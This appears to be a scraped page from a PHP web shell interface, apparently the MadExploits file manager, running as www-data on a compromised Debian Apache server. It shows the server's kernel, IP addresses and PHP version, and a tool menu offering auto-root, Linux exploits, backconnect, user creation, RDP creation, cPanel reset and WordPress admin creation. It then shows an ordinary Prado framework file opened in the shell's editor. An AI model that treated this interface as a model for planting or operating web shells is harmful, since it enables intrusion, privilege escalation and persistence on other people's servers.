Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.83.149
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
framework /
Data /
SqlMap /
Statements /
[ HOME SHELL ]
Name
Size
Permission
Action
IMappedStatement.php
2.73
KB
-rw-r--r--
TCachingStatement.php
2.96
KB
-rw-r--r--
TDeleteMappedStatement.php
488
B
-rw-r--r--
TInsertMappedStatement.php
1.29
KB
-rw-r--r--
TMappedStatement.php
35.46
KB
-rw-r--r--
TPreparedCommand.php
2.08
KB
-rw-r--r--
TPreparedStatement.php
1.5
KB
-rw-r--r--
TPreparedStatementFactory.php
1.17
KB
-rw-r--r--
TSelectMappedStatement.php
822
B
-rw-r--r--
TSimpleDynamicSql.php
866
B
-rw-r--r--
TStaticSql.php
758
B
-rw-r--r--
TUpdateMappedStatement.php
1.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TPreparedCommand.php
<?php /** * TPreparedCommand class file. * * @author Wei Zhuo <weizhuo[at]gmail[dot]com> * @link http://www.pradosoft.com/ * @copyright Copyright © 2005-2014 PradoSoft * @license http://www.pradosoft.com/license/ * @package System.Data.SqlMap.Statements */ Prado::using('System.Data.Common.TDbMetaData'); Prado::using('System.Data.Common.TDbCommandBuilder'); /** * TPreparedCommand class. * * @author Wei Zhuo <weizho[at]gmail[dot]com> * @package System.Data.SqlMap.Statements * @since 3.1 */ class TPreparedCommand { public function create(TSqlMapManager $manager, $connection, $statement, $parameterObject,$skip=null,$max=null) { $sqlText = $statement->getSQLText(); $prepared = $sqlText->getPreparedStatement($parameterObject); $connection->setActive(true); $sql = $prepared->getPreparedSql(); if($sqlText instanceof TSimpleDynamicSql) $sql = $sqlText->replaceDynamicParameter($sql, $parameterObject); if($max!==null || $skip!==null) { $builder = TDbMetaData::getInstance($connection)->createCommandBuilder(); $sql = $builder->applyLimitOffset($sql,$max,$skip); } $command = $connection->createCommand($sql); $this->applyParameterMap($manager, $command, $prepared, $statement, $parameterObject); return $command; } protected function applyParameterMap($manager,$command,$prepared, $statement, $parameterObject) { $properties = $prepared->getParameterNames(false); //$parameters = $prepared->getParameterValues(); $registry=$manager->getTypeHandlers(); if ($properties) for($i = 0, $k=$properties->getCount(); $i<$k; $i++) { $property = $statement->parameterMap()->getProperty($i); $value = $statement->parameterMap()->getPropertyValue($registry,$property, $parameterObject); $dbType = $property->getDbType(); if($dbType=='') //relies on PHP lax comparison $command->bindValue($i+1,$value, TDbCommandBuilder::getPdoType($value)); else if(strpos($dbType, 'PDO::')===0) $command->bindValue($i+1,$value, constant($property->getDbType())); //assumes PDO types, e.g. PDO::PARAM_INT else $command->bindValue($i+1,$value); } } }
Close